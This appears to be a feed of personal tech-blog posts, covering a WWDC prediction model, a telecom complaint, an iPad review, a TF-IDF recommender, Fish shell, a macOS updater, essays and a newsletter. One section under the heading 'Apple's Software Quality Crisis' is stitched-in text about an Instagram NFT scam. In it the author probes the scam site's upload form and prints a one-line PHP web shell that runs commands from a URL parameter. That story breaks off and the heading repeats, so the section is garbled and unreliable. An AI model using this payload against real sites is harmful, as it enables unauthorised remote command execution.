With this massive dataset, I decided on using Leave-One-Out Cross Validation which trains on (N-1) samples and tests on the remaining one, repeating for all points. It’s computationally intensive but maximizes the training data for small datasets.

I’m training two different models (RandomForest and Ridge) for each target variable (day, month, lead time, weekday) and picking the winner based on Mean Absolute Error scores. It’s like Masterchef, but for regression models. The results? RandomForest dominated in most categories:

Day - ridge: MAE = 4.67 (LOSER)
Month - rf: MAE = 0.20 (WINNER)
Lead_time - rf: MAE = 13.75 (WINNER)
Weekday - rf: MAE = -0.00 (TIE)

Since WWDC keynotes always happen on Mondays, I adjusted my predictions to prevent ridiculous results like “Sunday WWDC”, which would make Apple fans faint.

1weekday_diff = (target_weekday - temp_date.weekday()) % 7
2if weekday_diff != 0:
3 temp_date += timedelta(days=weekday_diff)

Finally, the model has spoken! WWDC 2025 is predicted to be on Monday, June 09, 2025, with the announcement coming on Tuesday, April 01, 2025!

Lead time: 69 days between announcement and event. Nice.

Stay tuned for my next project, where I’ll use a transformer neural network to predict what color Tim Cook’s sweater will be during the keynote! (Spoiler alert: it’s blue or grey with 94.3% confidence).

Have a look at the code for yourself here

I’m Regretting Switching MNO

Thu, 20 Mar 2025 13:00:00 +0000

My recent decision to switch to TIM, one of Italy’s largest telecom providers, turned into a frustrating experience filled with technical glitches, hidden fees, and customer service challenges. If you’re considering TIM, you might want to think twice.

The TIM app has been problematic. It inexplicably logs me out constantly, even mid-task, without any error message or explanation. This issue has also been reported by other users.

While the mobile plan I subscribed to is competitively priced at €6.99/month for 150GB of data, unlimited calls, and 200 SMS, I’ve encountered numerous hidden fees that weren’t present with my previous provider, Iliad. The top three annoyances are:

SMS to Amazon Drivers: Charged €0.10 per message.
iMessage Activation: Each activation costs €0.13, which adds up since I restore my devices every couple of months.
Bank Messages: Priced at €0.16 per message.

These micro-charges feel like a bait-and-switch. While the amounts are small, they’re not mentioned upfront and diminish trust in the provider’s transparency.

The final straw was TIM’s handling of eSIMs. I opted for an eSIM to avoid waiting for a physical card. The first eSIM email never arrived. Support was unhelpful and advised me to “try again later.” I then purchased another eSIM for €10 and was promised a refund for the first. The refund took over a month to process, involving endless back-and-forth emails with a tone-deaf refund department. This experience mirrors that of other users who have faced similar challenges with TIM’s eSIM services.

Why should customers pay twice for a service that TIM failed to deliver? The lack of accountability is staggering. Instead of troubleshooting, they shifted the problem onto me.

My experience with TIM has been plagued with issues, from app malfunctions and hidden fees to poor customer support. I can’t wait to switch back to Iliad.

One Week with an iPad 6th Gen

Wed, 19 Mar 2025 13:45:00 +0000

We often assume newer is always better when it comes to technology. The marketing, the launch events, and the constant stream of upgrades all reinforce this notion. But is it always true?

For the last week, I decided to challenge this assumption by taking a step back in time. I downgraded from my 2024 iPad Air M2 to an iPad 6th Generation from 2018. This is my assessment of how it feels to take this step backward.

The Apple Pencil squeeze and double-tap features had become part of my workflow on the newer iPad. These gestures enhanced my productivity and allowed me to quickly switch between tools with minimal interruption. On the 6th gen iPad, these controls are absent, requiring manual tool switching.
Perhaps more noticeably, the convenience of magnetically attaching the Apple Pencil to charge can’t be overstated. Having to plug the 1st generation Pencil awkwardly into the Lightning port feels precarious.

One of the most immediately noticeable differences is the non-laminated display on the iPad 6th gen. This creates a visible gap between the glass and the screen that makes the Apple Pencil feel less precise.

This fuels a disconnected sensation when writing that wasn’t present with the newer model’s display.

The inability to connect devices without adapters has been a daily frustration I hadn’t fully anticipated. The Lightning port feels increasingly isolated in a world moving full throttle toward USB-C.

An unexpected pain point has been the difference in audio quality and spatial positioning during media consumption. The stereo speakers on the newer iPad provided a much more immersive experience that I didn’t fully appreciate until returning to the older model’s mono audio setup.

The battery situation is undeniably problematic. Some degradation is expected in a device from 2018, but I find myself constantly aware of battery percentage, especially when using battery-intensive apps like Apple Notes, which remains surprisingly power-hungry even on this older hardware.

The A10 Fusion chip and mere 2GB of RAM show their age when multitasking or running newer applications. App refreshes are frequent, and there’s a perceptible delay when switching between apps that I had forgotten existed.

Not everything about the older model feels like a compromise. The flat back design of the 6th gen iPad is refreshingly practical. The iPad sits flush on surfaces without wobbling, and there’s something satisfying about this simple design choice that newer models with their protruding camera bumps have abandoned.

Despite the limitations, the iPad 6th gen does fewer things, but what it does, it does reliably. Basic browsing, note-taking, and media consumption remain perfectly adequate. This raises interesting questions about how much of our upgrade cycle is driven by genuine need versus the allure of new features.
The relentless march forward in technology doesn’t always mean previous generations become unusable, just that our expectations shift.

This 2018 iPad remains surprisingly capable, and this experience has made me more thoughtful about future upgrades. Perhaps the question isn’t always “What new features does the latest model offer?” but rather “Which features of my current device have become essential to my workflow, and which are merely nice to have?”.

Building in public: Knuth Day 0

Sat, 15 Mar 2025 21:30:00 +0000

I started building a new app called Knuth, named after Donald Knuth, creator of LaTeX. Why? Because after scouring the App Store, I realized there wasn’t an app that perfectly fit my needs, so I’m making one myself.

You: Eliseo, don’t you have enough side projects already?
 Me: Yes. Next question.

Knuth will be an app designed for those who frequently work with LaTeX formulas, whether you’re a student, researcher, or math enthusiast.   The goal is to make writing, saving, and interacting with LaTeX formulas as seamless as possible, and feeling mostly like a first party iOS/iPadOS/macOS app.

I’m planning these 7 core features for this App:

Render LaTeX Formulas (Using iosMath to display formulas);
Write Formulas with a Keyboard;
Drag & Drop Formulas as images;
Save Formulas Locally & in iCloud (Using SwiftData);
Edit Previously Saved Formulas;
Attach a Name to Formulas;
Formula History (Think Time Machine, But for Math).

I would also like to have:

PencilKit Integration
Convert handwritten formulas to LaTeX with Im2LaTeX.
Import Formulas from Photos
Custom IME to select, insert, or edit formulas on the fly.

Stay tuned for updates as I bring Knuth to life. Any suggestion is welcome!

Building The New Recommendation System

Tue, 11 Mar 2025 15:15:00 +0000

Creating a personalized recommendation system for a blog doesn’t require massive machine learning models or complex neural networks. With some clever mathematics, we can build a robust content similarity engine that runs entirely in the browser (or on the server).

In this article, I’ll walk you through the implementation of a lightweight embedding system that powers the “Writing" section of this blog using TF-IDF vectorization and cosine similarity.

The Problem

When readers finish an article, they often want to explore related content. Manually curating recommendations for each post becomes increasingly difficult as your content library grows.

I experimented with using an LLM in the past, to provide suggested content, but costs and latency was not reasonable for a personal blog.

Automated solutions based on tags or categories help, but they lack the nuance of understanding actual content similarity.

The Roadmap

I corroborated a roadmap of what I needed to do:

Covert post content into mathematical vector representations
Weight different parts of the content (title, excerpt, tags, body) appropriately
Calculate similarity scores between posts using vector mathematics

Representing Text as Numbers

At the heart of this recommendation system is the concept of vector space models. How do we transform text into something a computer can compare mathematically?

Before anything else, I need to prepare post’s text by:

Converting everything to lowercase;
Removing punctuation;
Splitting into individual words (tokens);
Filtering out common stopwords (“the”, “and”, “is”, etc.);
Removing very short terms.

 1const stopwords = Set(["the", "and", "is"]);
 2const newText = text
 3 .toLowerCase()
 4 .replace(/[^\w\s]/g, " ") // Replace punctuation with spaces
 5 .split(/\s+/) // Split on whitespace
 6 .filter(
 7 (term) =>
 8 term.length >= this.minTermLength && // Remove short terms
 9 !this.stopWords.has(term),
10 ); // Remove stop words

This transformation gives us a bag of meaningful words, but we still need to convert these words into numerical representations.

Some Words Matter More

TF-IDF (Term Frequency-Inverse Document Frequency) is a mathematical technique that measures the importance of a word to a document in a collection. It addresses two key insights:

Words that appear frequently in a document are likely important to that document (Term Frequency)
Words that appear in many documents are likely less distinctive (Inverse Document Frequency)

Term frequency measures how often a term appears in a document. The simplest form is just a raw count, but we normalize it by dividing by the total number of terms to account for different document lengths.

1const tf = frequency / terms.length;

Inverse Document Frequency measures how unique or rare a term is across all documents.

1const idf = Math.log((this.documentCount + 1) / (df + 1)) + 1;

Putting them together

The TF-IDF score is simply the multiplication of these two metrics:

1vector[term] = tf * idf;

This formula gives higher values to terms that appear frequently in a specific document and appear rarely in other documents.

For example, in this blog, the word “problem” might have a high TF but a low IDF (it appears everywhere), while “apple” might have a moderate TF but a high IDF (it appears in fewer documents).

Not all text is created equal

Since a post’s title is typically more representative of its content than an arbitrary sentence in the body. This system accounts for this by weighting different parts of the content differently.

This approach boosts the term frequency of words appearing in more important sections without requiring complex multi-vector representations.

 1private getWeightedPostContent(post: Post): string {
 2 // Repeat elements based on their weights to influence term frequency
 3 const titleParts = Array(this.weights.title).fill(post.title || '');
 4 const excerptParts = Array(this.weights.excerpt).fill(post.excerpt || '');
 5 const tagParts = Array.isArray(post.tags)
 6 ? post.tags.join(' ').repeat(this.weights.tags)
 7 : '';
 8 const bodyParts = (post.body?.raw || '').repeat(this.weights.body);
 9
10 return [
11 ...titleParts,
12 ...excerptParts,
13 tagParts,
14 bodyParts
15 ].join(' ');
16}

Measuring Closeness

Once we have our TF-IDF vectors, how do we determine similarity? We use cosine similarity, which measures the cosine of the angle between two vectors.

 1public calculateCosineSimilarity(vectorA: TfIdfVector, vectorB: TfIdfVector): number {
 2 if (!vectorA || !vectorB) return 0;
 3
 4 let dotProduct = 0;
 5 let magnitudeA = 0;
 6 let magnitudeB = 0;
 7
 8 // Calculate dot product and magnitude of vector A
 9 for (const [term, valueA] of Object.entries(vectorA)) {
10 const valueB = vectorB[term] || 0;
11 dotProduct += valueA * valueB;
12 magnitudeA += valueA * valueA;
13 }
14
15 // Calculate magnitude of vector B (for terms not in A)
16 for (const [term, valueB] of Object.entries(vectorB)) {
17 if (!(term in vectorA)) {
18 magnitudeB += valueB * valueB;
19 } else {
20 // Terms already in A were calculated above
21 magnitudeB += valueB * valueB;
22 }
23 }
24
25 const magnitude = Math.sqrt(magnitudeA) * Math.sqrt(magnitudeB);
26
27 // Handle zero vectors
28 if (magnitude === 0) return 0;
29
30 return dotProduct / magnitude;
31}

Cosine similarity ranges from -1 (completely opposite) to 1 (exactly the same), with 0 indicating orthogonality (no relationship). In our context with non-negative TF-IDF values, it ranges from 0 to 1.

This is particularly useful for our use case, since it’s length independent (because it measures angular similarity and not magnitude, so a short blog post can be similar to a long one).

The complete embedding system initializes by:

Processing all blog posts
Building a vocabulary and document frequency counts
Creating TF-IDF vectors for each post

Once initialized, it can provide similar posts or search results.  The beauty of this recommendation system lies in its simplicity. Without recurring to bigger solutions, we created a system that: 

Understands the essence of content through numerical representation;
Identifies similar content with reasonable accuracy;
Requires minimal computational resources.

Sometimes, a little bit of math is all you need.

You can see the recommendation system in action here below!

Apple's Software Quality Crisis: When Premium Hardware Meets Subpar Software

Sun, 02 Mar 2025 19:15:00 +0000

In the age of digital connectivity and social media, our virtual lives have become increasingly intertwined with the online world. Instagram, one of the world’s most popular social networking platforms, offers us a space to share moments, connect with friends, and even discover new opportunities. However, amidst the genuine connections and inspiring content, a darker side lurks: the realm of scams.

It all started 2 days ago, with a message like this:

Hi. I’ll love to purchase some of your work, if they are available for purchase. I am interested in purchasing 4 works digitally as NFT You need a platform to change them to NFT which is their digital form. Then I’ll buy them for 2.70ETH which is $4,900 each. You have a wallet, right?

I then got forwarded to Telegram, which I kindly declined, but I made them email me. That’s the marketplace where you can upload your art so that I can purchase it, but you will need to set up an account with them before you can do that.

uniquemost.online

I found myself on a PHP site. I registered an account (with fake credentials), and started exploring the website. Furthermore, I was trying to find something to do some kind of XSS or SQL injection, but then, I found something a little bit more fun.

A file upload box to upload a profile picture. I tried putting something that was not an image and the site accepted it. It gave me a path under the same directory I was under. It tingled a part of my brain. I suspected a web-shell-type of vulnerability.

I quickly made a PHP script to test that assumption:

1<?php
2phpinfo();
3?>

Opening later the “profile picture” resulted in showing phpinfo. Nice!

Payload

I started writing a little payload to try and get a shell on this site.

1<?=`$_GET[0]`?>

Apple's Software Quality Crisis: When Premium Hardware Meets Subpar Software

Sun, 02 Mar 2025 19:15:00 +0000

Update: March 5, 2025

I wrote a small application that outputs ProcessInfo.ThermalState. The reported Thermal State is nominal when the iPad is not heating, fair when the iPad started to heat and serious when the iPad was hurting to touch. I defintely had the iPad heating more than serious on other occurrences.

Update: March 4, 2025

The response to this post has been overwhelming, with sharing on Hacker News and Reddit. It’s clear that many others are experiencing frustrations with Apple’s software, indicating quality issue within Apple’s OSes portfolio.

To provide more context, here’s the workflow that triggers these issues: I create a new note at the start of each lecture, add a title and tags for organization, and begin writing with my Apple Pencil Pro.
The issues manifest after filling roughly one page (or “screen”) with handwritten notes. The iPad here starts to overheat, and lag spikes become increasingly frequent.

As a long-time Apple user, I’ve always appreciated the integration of hardware and software, signature of the Apple ecosystem. However, recent experiences with my iPad Air 11" M2 has left me questioning whether Apple has lost sight of what once made their products great.

A Brief Timeline

November 6, 2024: Visited the Apple Store in Turin with my then new iPad Air 11" M2 experiencing significant lag and overheating when using Notes and Freeform with Apple Pencil Pro.
November 13, 2024: Received a replacement unit after store representatives suggested a hardware swap.
February 27, 2025: The replacement unit is now having identical performance issues.

Premium Hardware, Struggling Software

In November, I visited the Apple Store in Turin to address persistent issues with my iPad Air 11" M2 running iPadOS 18.1. Despite having cutting-edge hardware, I’ve been experiencing significant lag when using basic Apple applications like Notes and Freeform.

The performance issues don’t stop at sluggish response times. During these use cases, my iPad overheated, making it uncomfortable to hold or even rest the palm on, raising concerns about potential long-term hardware damage.

What made this particularly frustrating is that these aren’t third-party applications pushing the hardware to its limits. These are Apple’s own applications that should be theoretically optimized for their hardware.

After demonstrating the issues in person to Apple Store staff (that were courteous and professional), the support representative that was handling my case suggested a hardware replacement.
However, after further discussion, we both concluded this was likely a software problem rather than a hardware defect.

I think this highlights a growing challenge for Apple’s support model: how do you troubleshoot software issues when the traditional solution has been to replace hardware?

I think this experience feels symptomatic of a broader decline in Apple’s software quality.

My replacement iPad Air 11" M2 with the Apple Pencil Pro is once again struggling with the same basic tasks. Despite multiple iPadOS updates since my original complaint (we’re now on 18.3.1), the fundamental issues remain:

Significant lag when using Apple’s own Notes and Freeform applications: Input latency increases dramatically after about 5-10 minutes of use, with stroke rendering delayed by up to 5 seconds;
Device overheating during standard usage scenarios: CPU temperatures reach concerning levels (based on device’s external heat) during pencil input;
Poor responsiveness with the Apple Pencil Pro: Palm rejection fails intermittently, and pressure and roll sensitivity becomes inconsistent.

This recurrence with a replacement device (and other friend’s iPads) confirms what I and the support representative suspected last November - this is a software optimization problem, not a hardware defect.

Details Worth Noting

Since my original complaint, I’ve discovered numerous forum threads and social media discussions from iPad users experiencing similar issues. This suggests a systemic problem rather than isolated incidents.

I think these are sympthoms of two main problems:

Thermal Management Issues: The SoC should throttle performance before reaching high external temperatures;
Memory Management Problems: The gradual degradation in performance makes me think of memory leaks or improper garbage collection in Apple’s Note and Freeform applications.

Most concerning is that multiple software updates have failed to address these performance issues while introducing new features that add more strain to the system (like Apple Intelligence, but that’s a story for another day).

Reconsidering the “Apple Tax”

For years, many of us have willingly paid the “Apple tax”, the premium price for Apple products justified by superior user experience, design, and ecosystem integration. But if software quality continues to decline, this value proposition becomes increasingly difficult to defend.

The persistence of these issues through multiple software updates suggests:

Feature prioritization over optimization: Engineering resources appear focused on adding new capabilities rather than fixing existing performance problems;
Inadequate performance testing: Real-world usage scenarios with Apple’s own applications aren’t being adequately tested.

As customers paying premium prices for Apple products, we at least deserve:

Transparency: Acknowledgment of known performance issues;
Focus on fundamentals: Updates focused on performance and stability;
Extended support: Consideration for extended warranties when software issues impact hardware lifespan.

The Apple experience was once defined by the words “it just works”.
Today, that promise feels hollow as software struggles to keep pace with hardware capabilities. As users and customers, we need to vocally advocate for the quality-focused Apple we once knew.

After months of hoping for improvement, I’m faced with difficult decisions about my future in the Apple ecosystem. This issue, along with several others, albeit smaller, ones, has severely damaged my confidence in new Apple products.

Apple should return to its roots - creating products that prioritize user experience over feature creep. Apple needs to reclaim that ethos.

Introducing: Micromachine

Tue, 18 Feb 2025 17:00:00 +0000

I’m pleased to announce the release of Micromachine, a new open-source library designed to simplify state management in Go applications.

What is Micromachine?

Micromachine is a generic state machine implementation in Go that allows you to define states and transitions between them. It supports any comparable type for states and ensures thread safety, making it ideal for concurrent applications. With Micromachine, you can define custom actions to be executed during state transitions and check if a transition is valid before attempting it.

Key Features

Generic State Management: Supports any comparable type for states, providing flexibility in defining your state machine.
Thread Safety: Ensures that concurrent access is handled correctly, making it suitable for multi-threaded applications.
Custom Actions: Define custom actions to be executed during state transitions, allowing for complex state management logic.
Transition Validation: Check if a transition is valid before attempting it, preventing runtime errors.

Why Micromachine?

Micromachine was born out of the need for a simple yet powerful state management solution in Go. As a developer, I often found myself implementing state machines from scratch, which was time-consuming and error-prone. Micromachine aims to solve this problem.

You can check out the Micromachine repository and start using it today.

Goodbye. Hello.

Tue, 31 Dec 2024 17:00:00 +0000

This year brought 366 sunrises and 366 sunsets—a journey marked by extended pauses from one of my favorite hobbies and periods of intense stress.

As I reflect, this serves as a personal reminder to continually strive to be a better person, even if I fell short on some days.

From meeting new people and engaging in meaningful conversations to starting a new job, speaking to large audiences, and, toward the end of the year, taking a significant step forward, this year has been defined by growth and introspection.

I believe that everything we do carries purpose, and this belief shapes how I channel my energy each day. To stay grounded, I follow three guiding principles: impact, passion, and alignment.

Impact: To create meaningful contributions that benefit others.
Passion: To pursue what feels truly meaningful to me.
Alignment: To ensure my actions align with my values and ethics.

These principles not only guide my decisions but also serve as a constant reminder to seek purpose in every step of the journey.

As the new year begins, I want to feel hopeful about making a difference.

Fish on macOS - A week long experiment

Mon, 16 Dec 2024 17:00:00 +0000

For the next week, I intend to experiment with utilizing Fish as my primary shell on macOS. This challenge was initiated this morning by Francesco, who encouraged me to explore Fish as an alternative shell.

Switching to Fish for a week?

Installation

I followed these steps to install Fish:

I used Homebrew to install fish.

1$ brew install fish

I then added fish to the list of available shells.

1$ which fish | sudo tee -a /etc/shells > /dev/null

Then I switched my default shell.

1chsh -s $(which fish)

Something cool

A positive aspect of Fish is the use of the conf.d directory, which helps organize configuration files into individual scripts, making it easier to manage and update customizations without cluttering a single configuration file.

One thing I’ve noticed is that Fish feels noticeably faster than my previous setup with Zsh + Oh My Zsh. It seems more responsive, and the startup time feels snappier.

A first challenge

The default keybinding to edit a command using $EDITOR is Meta+E (contrary to other shells ⌃+X ⌃+E). Since I use the ⌥ (Option) key as a compose key for typing special characters, I cannot remap it to the Meta key.  I had to configure a custom bind to bring back ⌃+X ⌃+E functionality.

1# Edit command
2bind \cx\ce edit_command_buffer

Dotfiles

If you want to take a look at my configurations or follow along with the changes I make throughout this experiment, you can check out my dotfiles here.

Throughout the week, I will continue experimenting with Fish and refining my setup. Expect further updates!

Day 2

Fish is not POSIX-compliant, but that’s intentional. It’s designed as a user-friendly interactive shell, not as a scripting shell.

Scripts and Compatibility

Many scripts use the following shebangs: 

1#!/bin/bash

1#!/bin/sh

or  (even better)

1#!/usr/bin/env bash

Indeed, these scripts presume POSIX compliance, which Fish does not natively support. However, they also specify the interpreter to be used for executing those scripts. As noted in the Gentoo Wiki:

fish should not be set as the system shell by making it the target of the /bin/sh symlink; this could result in an inoperable system.

Key Point: Utilize Fish interactively, while maintaining Bash or a POSIX-compliant shell as the system’s default shell. 

Counterpoint

1#include <stdlib.h>
2
3int main() {
4 const char *command = "echo $SHELL";
5 exit(system(command));
6}

The system() function executes the provided command (in this instance, echo $SHELL) within a new shell, your default interactive shell (in my case, fish). But you shouldn’t really use system()…

Updates for you macOS app

Wed, 09 Oct 2024 19:40:00 +0000

Keeping your users informed about the latest version of your application is important for enhancing the user experience. In this post I will outline how I implemented a feature to notify the user of the latest update for you app, providing a link to download it.

It was a “rush” feature, I worked on this for less than two hours, so it’s not perfect by any means, but it’s serviceable. The latest version will be sourced from GitHub releases.

Connecting to the API

The first step I had to take was retrieving the latest version of the app from the GitHub’s API.

To accomplish this, I designed a function that accepts a closure to forward its output. Using a closure provides flexibility in handling the result, whether it’s a successful version retrieval or an error. This design pattern is particularly useful in asynchronous programming, as it allows the application to remain responsive while waiting for the network call to complete.

The GitHub API returns a JSON list of the releases of our application. Each release contains various pieces of information, but for our purpose, I only needed the name of the latest version. This simplifies the data I need to handle.

1import Foundation
2
3struct GithubVersion: Decodable {
4 let name: String
5}

This struct conforms to the Decodable protocol, allowing it to be easily parsed from the JSON response.

 1import Foundation
 2
 3enum GithubVersionRepositoryError: Error {
 4 case noData
 5 case noVersionFound
 6}
 7
 8let GITHUB_API_URL: URL = URL(string: "https://api.github.com/repos/")!
 9
10struct GithubVersionRepository {
11 static let shared = GithubVersionRepository()
12 func getVersion(completion: @escaping (Result<String, any Error>) -> Void) {
13 URLSession.shared.dataTask(with: getReleasesUrl(repoUrl: "eliseomartelli/Cleeb")) {
14 data, response, error in
15 if let error = error {
16 completion(.failure(error))
17 return
18 }
19 guard data != nil else {
20 completion(.failure(GithubVersionRepositoryError.noData))
21 return
22 }
23 do {
24 let versions = try JSONDecoder().decode([GithubVersion].self, from: data!)
25 guard let latestVersion = versions.first else {
26 completion(.failure(GithubVersionRepositoryError.noVersionFound))
27 return
28 }
29 completion(.success(latestVersion.name))
30 return
31 } catch {
32 completion(.failure(error))
33 return
34 }
35 }.resume()
36 }
37
38 // Obtains the repo URL endpoint for releases.
39 private func getReleasesUrl(repoUrl : String) -> URL {
40 return GITHUB_API_URL
41 .appendingPathComponent(repoUrl)
42 .appendingPathComponent("releases")
43 }
44}

In the getVersion function, I initiate a data task with URLSession to call the GitHub releases endpoint for my application. If there’s an error during the request or if no data is returned, the closure is invoked with an appropriate error message. If the data is successfully retrieved, I decode it into an array of GithubVersion instances. I extract the latest version name and call the completion closure with it.

Making it work

To effectively manage and display version information, I created a VersionViewModel. This class conforms to ObservableObject protocol, allowing it to notify SwiftUI for any changes.

 1import Foundation
 2
 3class VersionViewModel: ObservableObject {
 4 @Published var latestVersion: String = Bundle.main.buildVersion!
 5 @Published var errorMessage: String?
 6 @Published var isUpdateAvailable: Bool = false
 7
 8 init() {
 9 self.fetchLatestVersion()
10 }
11
12 private func fetchLatestVersion() {
13 GithubVersionRepository.shared.getVersion { result in
14 DispatchQueue.main.async {
15 switch result {
16 case .success(let version):
17 self.latestVersion = version
18 case .failure(let error):
19 self.errorMessage = error.localizedDescription
20 }
21 self.isUpdateAvailable = Bundle.main.buildVersion != self.latestVersion
22 }
23 }
24 }
25}

Updating the UI

 1import SwiftUI
 2
 3struct MainView: View {
 4 @EnvironmentObject var versionViewModel: VersionViewModel
 5
 6 var body: some View {
 7 VStack {
 8 if versionViewModel.isUpdateAvailable {
 9 Button(action: openDownloadPage) {
10 Text(version)
11 .font(.caption)
12 .background(Color.blue)
13 .foregroundColor(.white)
14 .clipShape(Capsule())
15 }
16 .buttonStyle(PlainButtonStyle())
17 }
18 }
19 }
20
21 private func openDownloadPage() {
22 if let url = URL(string: "https://github.com/eliseomartelli/Cleeb/releases") {
23 NSWorkspace.shared.open(url)
24 }
25 }
26}

Integrate Everything

Integrate the VersionViewModel into your app structure to allow your views to access the latest version data.

 1@main
 2struct YourApp: App {
 3 @StateObject private var versionViewModel = VersionViewModel()
 4
 5 var body: some Scene {
 6 Window("Your App", id: "yourapp") {
 7 MainView()
 8 .environmentObject(versionViewModel)
 9 }
10 }
11}

Now I can notify users of updates to my application!

If you found this interesting, check out Cleeb, the app I made to help you clean your macOS laptop keyboard!

Photography Today: Has It Become Too Accessible?

Tue, 17 Sep 2024 00:00:00 +0000

In a recent conversation with Cesare Nai, we found ourselves reflecting on the current state of photography and its role in modern communication.

In recent years, visual communication has become a crucial tool for sharing ideas and concepts that people might not easily encounter in their daily lives. Photography, in particular, is now more widespread than ever, largely due to the availability of cameras at our fingertips. However, this accessibility has brought with it a complex issue: photography may have become “too democratic.” Let me explain.

Roland Barthes, in his seminal work Camera Lucida, explored the emotional resonance of photographs, using the term punctum to describe the deeply personal and striking element in an image that stimulates the viewer, creating an emotional response. With the widespread use of smartphones and digital cameras, taking a photograph has become so simple and routine that its emotional or artistic value is sometimes diluted. The democratization of photography has given more people the ability to capture and share images, but this ease of use has also led to a saturation of visual content. That punctum is becoming harder to find.

Despite these challenges, photography remains a valuable communication tool. Those who understand its potential and have a clear sense of purpose—knowing why they are taking certain photos and what they aim to convey—can still make a significant impact. However, it is important to acknowledge that not everyone approaches photography with the same depth of intention or sensitivity.

Like many other technical arts, photography has experienced a significant transformation. Advances in technology have shifted the focus from its original purpose—capturing meaningful moments or conveying a powerful message—to an increased emphasis on technical perfection. Nowadays, people often prioritize elements like lighting, composition, and sharpness, sometimes at the expense of the deeper meaning or emotional resonance of the photograph.

Human Connection Protocol

Tue, 20 Aug 2024 00:00:00 +0000

Abstract

This document specifies the Human Connection Protocol (HCP). HCP standardizes the request, response, and keep-alive mechanisms involved in interpersonal communication. This protocol aims to enhance the predictability and reliability of human interactions by formalizing communication exchanges.

Introduction

Human connections are fundamental to social interaction. However, these connections often suffer from misunderstandings, unpredictability, and inefficiency due to the lack of standardized communication mechanisms. The Human Connections Protocol (HCP) provides a structured approach to managing these interactions, defining clear rules for initiating, responding to, and maintaining human connections.

Terminology

The key words “MUST”, “MUST NOT”, “REQUIRED”, “SHALL”, “SHALL NOT”, “SHOULD”, “SHOULD NOT”, “RECOMMENDED”, “MAY”, and “OPTIONAL” in this document are to be interpreted as described in IETF RFC 2119.

Requester: The entity that initiates the connection.
Responder: The entity that responds to the connection request.
Connection: A bidirectional channel of communication established between a Requester and a Responder.
KeepAlive: A mechanism for maintaining the established connection.

Protocol Overview

Request: Initiation of a human connection.
Response: Acknowledgment and acceptance, rejection, or forwarding (Relay) of the connection request.
KeepAlive: Maintenance of the connection over time.
Termination: Terminates an established communication channel.

Message Format

All HCP messages MUST consist of the following fields:

Type: Specifies the message type (Request, Response, KeepAlive).
Timestamp: The time the message was created.
Body: The content of the message.

Request Operation

Request Format

A Request message is used to initiate a connection. It SHOULD contain a brief introduction and an OPTIONAL topic of discussion.

Type: Request
Timestamp: <UTC Time>
Body: <Introduction and Topic>

Request Handling

Upon receiving a Request, the Responder MUST process it and generate a Response message. The Requester MUST wait for this Response before any further action.

Response Operation

Response Types

There are four possible types of Response messages:

Accept: The Responder agrees to establish the connection.
Reject: The Responder declines the connection request.
Delay: The Responder acknowledges the request but cannot respond immediately.
Relay: The Responder forwards the connection request to a third party, who MAY be better suited to respond.

Response Format

Type: Response (Accept/Reject/Delay/Relay)
Timestamp: <UTC Time>
Body: <Acceptance Message, Rejection Message, Delay Explanation, or Relay Details>

Accept: Upon receiving an Accept Response, the Requester and Responder SHOULD begin communication over the established connection.
Reject: If a Reject Response is received, the Requester SHOULD NOT attempt to re-initiate the connection for a predefined cool-off period.
Delay: A Delay Response indicates the Responder WILL follow up when they are ready.
Relay: If a Relay Response is received, the Requester SHOULD wait for a response from the third party. The Relay Response MUST include contact details or an introduction to the third party.

KeepAlive Operation

KeepAlive Format

KeepAlive messages are used to maintain an active connection. These messages SHOULD be sent periodically and MUST be acknowledged by the Responder to ensure the connection remains valid.

Type: KeepAlive
Timestamp: <UTC Time>
Body: <Status Update or Simple Greeting>

KeepAlive Handling

If a KeepAlive message is not acknowledged within a predefined timeout period, the connection SHOULD be considered lost, and both parties MAY reinitiate the connection if desired.

Termination

A connection CAN be terminated explicitly by either party at any time. Termination MAY be unilateral but MUST be communicated with a final message:

Type: Termination
Timestamp: <UTC Time>
Body: <Closure Explanation>

Upon receiving this message, the other party SHOULD acknowledge the termination, and the connection SHOULD be officially closed.

Conclusion

The Human Connections Protocol (HCP) standardizes human interaction, making it more predictable and reliable. By clearly defining the request, response, and keep-alive mechanisms, including the Relay option, HCP ensures smoother and more flexible interpersonal communication.

References

Bradner, S. “Key words for use in RFCs to Indicate Requirement Levels”, BCP 14, RFC 2119, March 1997.

Winget made me lose 40 minutes of my life.

Fri, 09 Feb 2024 00:00:00 +0000

Start rant.

This is my first experience with Windows in a long while, and my first experience with winget, the package manager.

I have to use a Windows machine to test libraries and applications for my $job, and I’m running it as a virtual machine on top of my arm64 macOS machine.

I tried to install GnuMake, from the gnuwin32 project. You can do that by running this command:

1winget install -e --id GnuWin32.Make

And I did so. Winget returned me to a prompt, and I assumed the installation was successful.

I quickly typed “make” into my prompt window, and I was welcomed by:

'make' is not recognized as an internal or external
command, operable program or batch file.

So, my first thought was to reload the environment. I tried again and I got the same result.

I then typed: echo %PATH% to find out that winget didn’t add anything to the PATH, and only after I explored my filesystem to add the entry to the PATH manually, I noticed that winget didn’t make any changes to the filesystem.

It failed without any notice, in an interactive user shell.

Winget is an example of shit software.

Recap:

MICROSOFT’S OFFICIAL PACKAGE MANAGER, WHICH:

Fails silently in an interactive shell.
Doesn’t do what you tell it to.

AN OPERATING SYSTEM WHERE:

The standard is to have binaries scattered around the filesystem randomly.

I hate winget (and windows) from the bottom of my heart.

End rant.

Built and deployed a newsletter in an afternoon

Sat, 02 Dec 2023 00:00:00 +0000

If you are a long-time reader of this blog, you might remember I already had a newsletter. It was built upon Revue.

Revue was a platform that allowed users to build a newsletter effortlessly. It had a user-friendly UI and, as a great plus, it offered an API, so you could build custom interfaces and integrate them with your site.

Revue was later acquired by Twitter on January 26, 2021. After Elon Musk ~~destroyed~~ bought Twitter for the meme, and he decided to close it down.

Subsequently, I tried to find an alternative to my rather modest newsletter needs, but couldn’t find any that satisfied all my points.

At the start of this year, I added “build a newsletter” to my to-do list, but never had some spare “mental bandwidth” to do it. Until the 1st of December 2023.

The requirements

The list of requirements for this project is rather small:

Users should be able to subscribe and unsubscribe easily;
I should be able to Create Remove Update Delete (CRUD) a mail draft;
I ultimately decide when to send the email;
Users should be able to browse past issues.

Now it was time to sketch the inner workings.

Deciding the stack

After laying down the foundation, it was now time to decide which tools to use to build the product.

Since this site is built using the full-stack framework Next.JS, and content is managed through Contentlayer, I just had to decide what to use to store subscriptions and how to present past issues to the users.

At this time, I’m deploying this site on Vercel. Vercel offers a suite of products to meet user needs, one of the products that caught my attention is Vercel Postgres.

